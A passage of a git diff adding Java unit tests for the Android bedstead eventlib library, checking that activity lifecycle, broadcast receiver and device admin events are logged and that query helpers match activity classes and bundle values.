+    public void launchEventLibActivity_withGeneratedActivityClass_logsActivityCreatedEventWithCorrectClassName() {
+        Intent intent = new Intent();
+        intent.setPackage(sContext.getPackageName());
+        intent.setClassName(sContext.getPackageName(), GENERATED_ACTIVITY_CLASS_NAME);
+        intent.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TASK);
+        sContext.startActivity(intent);
+
+        EventLogs<ActivityCreatedEvent> eventLogs = ActivityCreatedEvent
+                .queryPackage(sContext.getPackageName())
+                .whereActivity().className().isEqualTo(GENERATED_ACTIVITY_CLASS_NAME);
+        assertThat(eventLogs.poll()).isNotNull();
+    }
+
+    @Test
+    public void startEventLibActivity_logsActivityStartedEvent() {
+        Intent intent = new Intent();
+        intent.setPackage(sContext.getPackageName());
+        intent.setClassName(sContext.getPackageName(), EventLibActivity.class.getName());
+        intent.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TASK);
+        Activity activity = sInstrumentation.startActivitySync(intent);
+        EventLogs.resetLogs();
+
+        sInstrumentation.callActivityOnStart(activity);
+
+        EventLogs<ActivityStartedEvent> eventLogs = ActivityStartedEvent
+                .queryPackage(sContext.getPackageName())
+                .whereActivity().isSameClassAs(EventLibActivity.class);
+        assertThat(eventLogs.poll()).isNotNull();
+    }
+
+    @Test
+    public void startEventLibActivity_withGeneratedActivityClass_logsActivityStartedEventWithCorrectClassName() {
+        Intent intent = new Intent();
+        intent.setPackage(sContext.getPackageName());
+        intent.setClassName(sContext.getPackageName(), GENERATED_ACTIVITY_CLASS_NAME);
+        intent.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TASK);
+        Activity activity = sInstrumentation.startActivitySync(intent);
+        EventLogs.resetLogs();
+
+        sInstrumentation.callActivityOnStart(activity);
+
+        EventLogs<ActivityStartedEvent> eventLogs = ActivityStartedEvent
+                .queryPackage(sContext.getPackageName())
+                .whereActivity().className().isEqualTo(GENERATED_ACTIVITY_CLASS_NAME);
+        assertThat(eventLogs.poll()).isNotNull();
+    }
+
+    @Test
+    public void stopEventLibActivity_logsActivityStoppedEvent() {
+        Intent intent = new Intent();
+        intent.setPackage(sContext.getPackageName());
+        intent.setClassName(sContext.getPackageName(), EventLibActivity.class.getName());
+        intent.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TASK);
+        Activity activity = sInstrumentation.startActivitySync(intent);
+        EventLogs.resetLogs();
+
+        sInstrumentation.callActivityOnStop(activity);
+
+        EventLogs<ActivityStoppedEvent> eventLogs = ActivityStoppedEvent
+                .queryPackage(sContext.getPackageName())
+                .whereActivity().isSameClassAs(EventLibActivity.class);
+        assertThat(eventLogs.poll()).isNotNull();
+    }
+
+    @Test
+    public void stopEventLibActivity_withGeneratedActivityClass_logsActivityStoppedEventWithCorrectClassName() {
+        Intent intent = new Intent();
+        intent.setPackage(sContext.getPackageName());
+        intent.setClassName(sContext.getPackageName(), GENERATED_ACTIVITY_CLASS_NAME);
+        intent.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TASK);
+        Activity activity = sInstrumentation.startActivitySync(intent);
+        EventLogs.resetLogs();
+
+        sInstrumentation.callActivityOnStop(activity);
+
+        EventLogs<ActivityStoppedEvent> eventLogs = ActivityStoppedEvent
+                .queryPackage(sContext.getPackageName())
+                .whereActivity().className().isEqualTo(GENERATED_ACTIVITY_CLASS_NAME);
+        assertThat(eventLogs.poll()).isNotNull();
+    }
+
+    @Test
+    public void destroyEventLibActivity_logsActivityDestroyedEvent() {
+        Intent intent = new Intent();
+        intent.setPackage(sContext.getPackageName());
+        intent.setClassName(sContext.getPackageName(), EventLibActivity.class.getName());
+        intent.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TASK);
+        Activity activity = sInstrumentation.startActivitySync(intent);
+        EventLogs.resetLogs();
+
+        activity.finish();
+
+        EventLogs<ActivityDestroyedEvent> eventLogs = ActivityDestroyedEvent
+                .queryPackage(sContext.getPackageName())
+                .whereActivity().isSameClassAs(EventLibActivity.class);
+        assertThat(eventLogs.poll()).isNotNull();
+    }
+
+    @Test
+    public void destroyEventLibActivity_withGeneratedActivityClass_logsActivityDestroyedEventWithCorrectClassName() {
+        Intent intent = new Intent();
+        intent.setPackage(sContext.getPackageName());
+        intent.setClassName(sContext.getPackageName(), GENERATED_ACTIVITY_CLASS_NAME);
+        intent.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TASK);
+        Activity activity = sInstrumentation.startActivitySync(intent);
+        EventLogs.resetLogs();
+
+        activity.finish();
+
+        EventLogs<ActivityDestroyedEvent> eventLogs = ActivityDestroyedEvent
+                .queryPackage(sContext.getPackageName())
+                .whereActivity().className().isEqualTo(GENERATED_ACTIVITY_CLASS_NAME);
+        assertThat(eventLogs.poll()).isNotNull();
+    }
+
+    @Test
+    public void pauseEventLibActivity_logsActivityPausedEvent() {
+        Intent intent = new Intent();
+        intent.setPackage(sContext.getPackageName());
+        intent.setClassName(sContext.getPackageName(), EventLibActivity.class.getName());
+        intent.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TASK);
+        Activity activity = sInstrumentation.startActivitySync(intent);
+        EventLogs.resetLogs();
+
+        sInstrumentation.runOnMainSync(() -> {
+            sInstrumentation.callActivityOnPause(activity);
+        });
+
+        EventLogs<ActivityPausedEvent> eventLogs = ActivityPausedEvent
+                .queryPackage(sContext.getPackageName())
+                .whereActivity().isSameClassAs(EventLibActivity.class);
+        assertThat(eventLogs.poll()).isNotNull();
+    }
+
+    @Test
+    public void pauseEventLibActivity_withGeneratedActivityClass_logsActivityPausedEventWithCorrectClassName() {
+        Intent intent = new Intent();
+        intent.setPackage(sContext.getPackageName());
+        intent.setClassName(sContext.getPackageName(), GENERATED_ACTIVITY_CLASS_NAME);
+        intent.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TASK);
+        Activity activity = sInstrumentation.startActivitySync(intent);
+        EventLogs.resetLogs();
+
+        sInstrumentation.runOnMainSync(() -> {
+            sInstrumentation.callActivityOnPause(activity);
+        });
+
+        EventLogs<ActivityPausedEvent> eventLogs = ActivityPausedEvent
+                .queryPackage(sContext.getPackageName())
+                .whereActivity().className().isEqualTo(GENERATED_ACTIVITY_CLASS_NAME);
+        assertThat(eventLogs.poll()).isNotNull();
+    }
+
+    @Test
+    public void resumeEventLibActivity_logsActivityResumedEvent() {
+        Intent intent = new Intent();
+        intent.setPackage(sContext.getPackageName());
+        intent.setClassName(sContext.getPackageName(), EventLibActivity.class.getName());
+        intent.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TASK);
+        Activity activity = sInstrumentation.startActivitySync(intent);
+        EventLogs.resetLogs();
+
+        sInstrumentation.callActivityOnResume(activity);
+
+        EventLogs<ActivityResumedEvent> eventLogs = ActivityResumedEvent
+                .queryPackage(sContext.getPackageName())
+                .whereActivity().isSameClassAs(EventLibActivity.class);
+        assertThat(eventLogs.poll()).isNotNull();
+    }
+
+    @Test
+    public void resumeEventLibActivity_withGeneratedActivityClass_logsActivityResumedEventWithCorrectClassName() {
+        Intent intent = new Intent();
+        intent.setPackage(sContext.getPackageName());
+        intent.setClassName(sContext.getPackageName(), GENERATED_ACTIVITY_CLASS_NAME);
+        intent.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TASK);
+        Activity activity = sInstrumentation.startActivitySync(intent);
+        EventLogs.resetLogs();
+
+        sInstrumentation.callActivityOnResume(activity);
+
+        EventLogs<ActivityResumedEvent> eventLogs = ActivityResumedEvent
+                .queryPackage(sContext.getPackageName())
+                .whereActivity().className().isEqualTo(GENERATED_ACTIVITY_CLASS_NAME);
+        assertThat(eventLogs.poll()).isNotNull();
+    }
+
+    @Test
+    public void restartedEventLibActivity_logsActivityRestartedEvent() {
+        Intent intent = new Intent();
+        intent.setPackage(sContext.getPackageName());
+        intent.setClassName(sContext.getPackageName(), EventLibActivity.class.getName());
+        intent.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TASK);
+        Activity activity = sInstrumentation.startActivitySync(intent);
+        EventLogs.resetLogs();
+
+        sInstrumentation.callActivityOnRestart(activity);
+
+        EventLogs<ActivityRestartedEvent> eventLogs = ActivityRestartedEvent
+                .queryPackage(sContext.getPackageName())
+                .whereActivity().isSameClassAs(EventLibActivity.class);
+        assertThat(eventLogs.poll()).isNotNull();
+    }
+
+    @Test
+    public void restartEventLibActivity_withGeneratedActivityClass_logsActivityRestartedEventWithCorrectClassName() {
+        Intent intent = new Intent();
+        intent.setPackage(sContext.getPackageName());
+        intent.setClassName(sContext.getPackageName(), GENERATED_ACTIVITY_CLASS_NAME);
+        intent.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TASK);
+        Activity activity = sInstrumentation.startActivitySync(intent);
+        EventLogs.resetLogs();
+
+        sInstrumentation.callActivityOnRestart(activity);
+
+        EventLogs<ActivityRestartedEvent> eventLogs = ActivityRestartedEvent
+                .queryPackage(sContext.getPackageName())
+                .whereActivity().className().isEqualTo(GENERATED_ACTIVITY_CLASS_NAME);
+        assertThat(eventLogs.poll()).isNotNull();
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/premade/EventLibAppComponentFactoryTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/premade/EventLibAppComponentFactoryTest.java
new file mode 100644
index 0000000..eac68d1
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/premade/EventLibAppComponentFactoryTest.java
@@ -0,0 +1,82 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.premade;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+
+import com.android.bedstead.nene.TestApis;
+import com.android.eventlib.EventLogs;
+import com.android.eventlib.events.activities.ActivityCreatedEvent;
+import com.android.eventlib.events.broadcastreceivers.BroadcastReceivedEvent;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+/**
+ * This test assumes that EventLibAppComponentFactory is in the AndroidManifest.xml of the
+ * instrumented test process.
+ */
+@RunWith(JUnit4.class)
+public class EventLibAppComponentFactoryTest {
+
+    // This must exist as an <activity> in AndroidManifest.xml
+    private static final String DECLARED_ACTIVITY_WITH_NO_CLASS
+            = "com.android.generatedEventLibActivity";
+
+    // This must exist as an <receiver> in AndroidManifest.xml which receives the
+    // com.android.eventlib.GENERATED_BROADCAST_RECEIVER action
+    private static final String GENERATED_RECEIVER_CLASS_NAME =
+            "com.android.generatedEventLibBroadcastReceiver";
+    private static final String GENERATED_BROADCAST_RECEIVER_ACTION =
+            "com.android.eventlib.GENERATED_BROADCAST_RECEIVER";
+
+    private static final TestApis sTestApis = new TestApis();
+    private static final Context sContext =
+            sTestApis.context().instrumentedContext();
+
+    @Test
+    public void startActivity_activityDoesNotExist_startsLoggingActivity() {
+        Intent intent = new Intent();
+        intent.setComponent(new ComponentName(sContext.getPackageName(),
+                DECLARED_ACTIVITY_WITH_NO_CLASS));
+        sContext.startActivity(intent);
+
+        EventLogs<ActivityCreatedEvent> eventLogs =
+                ActivityCreatedEvent.queryPackage(sContext.getPackageName())
+                .whereActivity().className().isEqualTo(DECLARED_ACTIVITY_WITH_NO_CLASS);
+        assertThat(eventLogs.poll()).isNotNull();
+    }
+
+    @Test
+    public void sendBroadcast_receiverDoesNotExist_launchesBroadcastReceiver() {
+        Intent intent = new Intent(GENERATED_BROADCAST_RECEIVER_ACTION);
+        intent.setPackage(sContext.getPackageName());
+
+        sContext.sendBroadcast(intent);
+
+        EventLogs<BroadcastReceivedEvent> eventLogs = BroadcastReceivedEvent
+                .queryPackage(sContext.getPackageName())
+                .whereBroadcastReceiver().className().isEqualTo(GENERATED_RECEIVER_CLASS_NAME);
+        assertThat(eventLogs.poll()).isNotNull();
+    }
+
+}
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/premade/EventLibBroadcastReceiverTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/premade/EventLibBroadcastReceiverTest.java
new file mode 100644
index 0000000..aea0f08
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/premade/EventLibBroadcastReceiverTest.java
@@ -0,0 +1,95 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.premade;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.Context;
+import android.content.Intent;
+
+import com.android.bedstead.nene.TestApis;
+import com.android.eventlib.EventLogs;
+import com.android.eventlib.events.broadcastreceivers.BroadcastReceivedEvent;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public class EventLibBroadcastReceiverTest {
+
+    // We expect that AndroidManifest.xml contains a <receiver> for
+    // com.android.eventlib.premade.EventLibBroadcastReceiver which receives the
+    // com.android.eventlib.DEFAULT_BROADCAST_RECEIVER action
+    private static final String DEFAULT_BROADCAST_RECEIVER_ACTION =
+            "com.android.eventlib.DEFAULT_BROADCAST_RECEIVER";
+
+    // This must exist as an <receiver> in AndroidManifest.xml which receives the
+    // com.android.eventlib.GENERATED_BROADCAST_RECEIVER action
+    private static final String GENERATED_RECEIVER_CLASS_NAME =
+            "com.android.generatedEventLibBroadcastReceiver";
+    private static final String GENERATED_BROADCAST_RECEIVER_ACTION =
+            "com.android.eventlib.GENERATED_BROADCAST_RECEIVER";
+
+    private static final TestApis sTestApis = new TestApis();
+    private static final Context sContext = sTestApis.context().instrumentedContext();
+
+    @Before
+    public void setUp() {
+        EventLogs.resetLogs();
+    }
+
+    @Test
+    public void receiveBroadcast_logsBroadcastReceivedEvent() {
+        Intent intent = new Intent(DEFAULT_BROADCAST_RECEIVER_ACTION);
+        intent.setPackage(sContext.getPackageName());
+
+        sContext.sendBroadcast(intent);
+
+        EventLogs<BroadcastReceivedEvent> eventLogs = BroadcastReceivedEvent
+                .queryPackage(sContext.getPackageName())
+                .whereBroadcastReceiver().isSameClassAs(EventLibBroadcastReceiver.class);
+        assertThat(eventLogs.poll()).isNotNull();
+    }
+
+    @Test
+    public void receiveBroadcast_withGeneratedBroadcastReceiverClass_logsBroadcastReceivedEventWithCorrectClassName() {
+        Intent intent = new Intent(GENERATED_BROADCAST_RECEIVER_ACTION);
+        intent.setPackage(sContext.getPackageName());
+
+        sContext.sendBroadcast(intent);
+
+        EventLogs<BroadcastReceivedEvent> eventLogs = BroadcastReceivedEvent
+                .queryPackage(sContext.getPackageName())
+                .whereBroadcastReceiver().className().isEqualTo(GENERATED_RECEIVER_CLASS_NAME);
+        assertThat(eventLogs.poll()).isNotNull();
+    }
+
+    @Test
+    public void receiveBroadcast_logsIntent() {
+        Intent intent = new Intent(GENERATED_BROADCAST_RECEIVER_ACTION);
+        intent.setPackage(sContext.getPackageName());
+
+        sContext.sendBroadcast(intent);
+
+        EventLogs<BroadcastReceivedEvent> eventLogs = BroadcastReceivedEvent
+                .queryPackage(sContext.getPackageName())
+                .whereIntent().action().isEqualTo(GENERATED_BROADCAST_RECEIVER_ACTION);
+        assertThat(eventLogs.poll()).isNotNull();
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/premade/EventLibDeviceAdminReceiverTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/premade/EventLibDeviceAdminReceiverTest.java
new file mode 100644
index 0000000..1ed7eec
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/premade/EventLibDeviceAdminReceiverTest.java
@@ -0,0 +1,134 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.premade;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+
+import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.devicepolicy.DeviceOwner;
+import com.android.bedstead.nene.devicepolicy.ProfileOwner;
+import com.android.bedstead.nene.users.UserReference;
+import com.android.eventlib.EventLogs;
+import com.android.eventlib.events.deviceadminreceivers.DeviceAdminDisableRequestedEvent;
+import com.android.eventlib.events.deviceadminreceivers.DeviceAdminDisabledEvent;
+import com.android.eventlib.events.deviceadminreceivers.DeviceAdminEnabledEvent;
+import com.android.eventlib.events.deviceadminreceivers.DeviceAdminPasswordChangedEvent;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public class EventLibDeviceAdminReceiverTest {
+
+    private static final TestApis sTestApis = new TestApis();
+    private static final Context sContext = sTestApis.context().instrumentedContext();
+    private static final ComponentName DEVICE_ADMIN_COMPONENT =
+            new ComponentName(
+                    sContext.getPackageName(), EventLibDeviceAdminReceiver.class.getName());
+    private static final UserReference sUser = sTestApis.users().instrumented();
+    private static final DevicePolicyManager sDevicePolicyManager =
+            sContext.getSystemService(DevicePolicyManager.class);
+    private static final Intent sIntent = new Intent();
+
+    @Before
+    public void setUp() {
+        EventLogs.resetLogs();
+    }
+
+    @Test
+    public void enableDeviceOwner_logsEnabledEvent() {
+        DeviceOwner deviceOwner =
+                sTestApis.devicePolicy().setDeviceOwner(sUser, DEVICE_ADMIN_COMPONENT);
+
+        try {
+            EventLogs<DeviceAdminEnabledEvent> eventLogs =
+                    DeviceAdminEnabledEvent.queryPackage(sContext.getPackageName());
+
+            assertThat(eventLogs.poll()).isNotNull();
+        } finally {
+            deviceOwner.remove();
+        }
+    }
+
+    @Test
+    public void enableProfileOwner_logsEnabledEvent() {
+        ProfileOwner profileOwner =
+                sTestApis.devicePolicy().setProfileOwner(sUser, DEVICE_ADMIN_COMPONENT);
+
+        try {
+            EventLogs<DeviceAdminEnabledEvent> eventLogs =
+                    DeviceAdminEnabledEvent.queryPackage(sContext.getPackageName());
+
+            assertThat(eventLogs.poll()).isNotNull();
+        } finally {
+            profileOwner.remove();
+        }
+    }
+
+    @Test
+    public void disableProfileOwner_logsDisableRequestedEvent() {
+        EventLibDeviceAdminReceiver receiver = new EventLibDeviceAdminReceiver();
+
+        receiver.onDisableRequested(sContext, sIntent);
+
+        EventLogs<DeviceAdminDisableRequestedEvent> eventLogs =
+                DeviceAdminDisableRequestedEvent.queryPackage(sContext.getPackageName());
+        assertThat(eventLogs.get()).isNotNull();
+    }
+
+    @Test
+    public void disableProfileOwner_logsDisabledEvent() {
+        EventLibDeviceAdminReceiver receiver = new EventLibDeviceAdminReceiver();
+
+        receiver.onDisabled(sContext, sIntent);
+
+        EventLogs<DeviceAdminDisabledEvent> eventLogs =
+                DeviceAdminDisabledEvent.queryPackage(sContext.getPackageName());
+        assertThat(eventLogs.get()).isNotNull();
+    }
+
+    @Test
+    public void changePassword_logsPasswordChangedEvent() {
+        EventLibDeviceAdminReceiver receiver = new EventLibDeviceAdminReceiver();
+
+        receiver.onPasswordChanged(sContext, sIntent);
+
+        EventLogs<DeviceAdminPasswordChangedEvent> eventLogs =
+                DeviceAdminPasswordChangedEvent.queryPackage(sContext.getPackageName());
+        assertThat(eventLogs.get()).isNotNull();
+    }
+
+    @Test
+    public void changePasswordWithUserHandle_logsPasswordChangedEvent() {
+        EventLibDeviceAdminReceiver receiver = new EventLibDeviceAdminReceiver();
+
+        receiver.onPasswordChanged(sContext, sIntent, sUser.userHandle());
+
+        EventLogs<DeviceAdminPasswordChangedEvent> eventLogs =
+                DeviceAdminPasswordChangedEvent.queryPackage(sContext.getPackageName());
+        assertThat(eventLogs.get()).isNotNull();
+        assertThat(eventLogs.get().userHandle()).isEqualTo(sUser.userHandle());
+    }
+
+}
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/queryhelpers/ActivityQueryHelperTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/queryhelpers/ActivityQueryHelperTest.java
new file mode 100644
index 0000000..ce14238
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/queryhelpers/ActivityQueryHelperTest.java
@@ -0,0 +1,111 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.queryhelpers;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.Activity;
+
+import com.android.eventlib.events.CustomEvent;
+import com.android.eventlib.info.ActivityInfo;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public class ActivityQueryHelperTest {
+
+    private final CustomEvent.CustomEventQuery mQuery =
+            CustomEvent.queryPackage("testPackage"); // package is not used
+
+    private static final Class<? extends Activity> CLASS_1 = Activity.class;
+    private static final ActivityInfo CLASS_1_ACTIVITY_INFO = new ActivityInfo(CLASS_1);
+    private static final String CLASS_1_CLASS_NAME = CLASS_1.getName();
+    private static final String CLASS_1_SIMPLE_NAME = CLASS_1.getSimpleName();
+    private static final ActivityInfo CLASS_2_ACTIVITY_INFO =
+            new ActivityInfo("differentClassName");
+
+    @Test
+    public void matches_noRestrictions_returnsTrue() {
+        ActivityQueryHelper<CustomEvent.CustomEventQuery> activityQueryHelper =
+                new ActivityQueryHelper<>(mQuery);
+
+        assertThat(activityQueryHelper.matches(CLASS_1_ACTIVITY_INFO)).isTrue();
+    }
+
+    @Test
+    public void matches_isSameClassAs_doesMatch_returnsTrue() {
+        ActivityQueryHelper<CustomEvent.CustomEventQuery> activityQueryHelper =
+                new ActivityQueryHelper<>(mQuery);
+
+        activityQueryHelper.isSameClassAs(CLASS_1);
+
+        assertThat(activityQueryHelper.matches(CLASS_1_ACTIVITY_INFO)).isTrue();
+    }
+
+    @Test
+    public void matches_isSameClassAs_doesNotMatch_returnsFalse() {
+        ActivityQueryHelper<CustomEvent.CustomEventQuery> activityQueryHelper =
+                new ActivityQueryHelper<>(mQuery);
+
+        activityQueryHelper.isSameClassAs(CLASS_1);
+
+        assertThat(activityQueryHelper.matches(CLASS_2_ACTIVITY_INFO)).isFalse();
+    }
+
+    @Test
+    public void matches_className_doesMatch_returnsTrue() {
+        ActivityQueryHelper<CustomEvent.CustomEventQuery> activityQueryHelper =
+                new ActivityQueryHelper<>(mQuery);
+
+        activityQueryHelper.className().isEqualTo(CLASS_1_CLASS_NAME);
+
+        assertThat(activityQueryHelper.matches(CLASS_1_ACTIVITY_INFO)).isTrue();
+    }
+
+    @Test
+    public void matches_className_doesNotMatch_returnsFalse() {
+        ActivityQueryHelper<CustomEvent.CustomEventQuery> activityQueryHelper =
+                new ActivityQueryHelper<>(mQuery);
+
+        activityQueryHelper.className().isEqualTo(CLASS_1_CLASS_NAME);
+
+        assertThat(activityQueryHelper.matches(CLASS_2_ACTIVITY_INFO)).isFalse();
+    }
+
+    @Test
+    public void matches_simpleName_doesMatch_returnsTrue() {
+        ActivityQueryHelper<CustomEvent.CustomEventQuery> activityQueryHelper =
+                new ActivityQueryHelper<>(mQuery);
+
+        activityQueryHelper.simpleName().isEqualTo(CLASS_1_SIMPLE_NAME);
+
+        assertThat(activityQueryHelper.matches(CLASS_1_ACTIVITY_INFO)).isTrue();
+    }
+
+    @Test
+    public void matches_simpleName_doesNotMatch_returnsFalse() {
+        ActivityQueryHelper<CustomEvent.CustomEventQuery> activityQueryHelper =
+                new ActivityQueryHelper<>(mQuery);
+
+        activityQueryHelper.simpleName().isEqualTo(CLASS_1_SIMPLE_NAME);
+
+        assertThat(activityQueryHelper.matches(CLASS_2_ACTIVITY_INFO)).isFalse();
+    }
+
+}
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/queryhelpers/BundleKeyQueryHelperTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/queryhelpers/BundleKeyQueryHelperTest.java
new file mode 100644
index 0000000..9283aba
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/queryhelpers/BundleKeyQueryHelperTest.java
@@ -0,0 +1,165 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.queryhelpers;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.os.Bundle;
+
+import com.android.eventlib.events.CustomEvent;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+import java.io.Serializable;
+
+@RunWith(JUnit4.class)
+public class BundleKeyQueryHelperTest {
+
+    private static final String KEY = "Key";
+    private static final String KEY2 = "Key2";
+    private static final String STRING_VALUE = "String";
+    private static final String DIFFERENT_STRING_VALUE = "String2";
+
+    private final CustomEvent.CustomEventQuery mQuery =
+            CustomEvent.queryPackage("testPackage"); // package is not used
+    private final Bundle mBundle = new Bundle();
+    private final Bundle mBundle2 = new Bundle();
+    private final Serializable mSerializable = "SerializableString";
+    private final Serializable mDifferentSerializable = "SerializableString2";
+
+    @Test
+    public void matches_noRestrictions_returnsTrue() {
+        BundleKeyQueryHelper<CustomEvent.CustomEventQuery> bundleKeyQueryHelper =
+                new BundleKeyQueryHelper<>(mQuery);
+
+        assertThat(bundleKeyQueryHelper.matches(mBundle, KEY)).isTrue();
+    }
+
+    @Test
+    public void matches_stringValueRestriction_meetsRestriction_returnsTrue() {
+        mBundle.putString(KEY, STRING_VALUE);
+        BundleKeyQueryHelper<CustomEvent.CustomEventQuery> bundleKeyQueryHelper =
+                new BundleKeyQueryHelper<>(mQuery);
+
+        bundleKeyQueryHelper.stringValue().isEqualTo(STRING_VALUE);
+
+        assertThat(bundleKeyQueryHelper.matches(mBundle, KEY)).isTrue();
+    }
+
+    @Test
+    public void matches_stringValueRestriction_doesNotMeetRestriction_returnsFalse() {
+        mBundle.putString(KEY, STRING_VALUE);
+        BundleKeyQueryHelper<CustomEvent.CustomEventQuery> bundleKeyQueryHelper =
+                new BundleKeyQueryHelper<>(mQuery);
+
+        bundleKeyQueryHelper.stringValue().isEqualTo(DIFFERENT_STRING_VALUE);
+
+        assertThat(bundleKeyQueryHelper.matches(mBundle, KEY)).isFalse();
+    }
+
+    @Test
+    public void matches_bundleValueRestriction_meetsRestriction_returnsTrue() {
+        mBundle.putBundle(KEY, mBundle2);
+        mBundle2.putString(KEY2, STRING_VALUE);
+        BundleKeyQueryHelper<CustomEvent.CustomEventQuery> bundleKeyQueryHelper =
+                new BundleKeyQueryHelper<>(mQuery);
+
+        bundleKeyQueryHelper.bundleValue().key(KEY2).exists();
+
+        assertThat(bundleKeyQueryHelper.matches(mBundle, KEY)).isTrue();
+    }
+
+    @Test
+    public void matches_bundleValueRestriction_doesNotMeetRestriction_returnsFalse() {
+        mBundle.putBundle(KEY, mBundle2);
+        mBundle2.remove(KEY2);
+        BundleKeyQueryHelper<CustomEvent.CustomEventQuery> bundleKeyQueryHelper =
+                new BundleKeyQueryHelper<>(mQuery);
+
+        bundleKeyQueryHelper.bundleValue().key(KEY2).exists();
+
+        assertThat(bundleKeyQueryHelper.matches(mBundle, KEY)).isFalse();
+    }
+
+    @Test
+    public void matches_serializableValueRestriction_meetsRestriction_returnsTrue() {
+        mBundle.putSerializable(KEY, mSerializable);
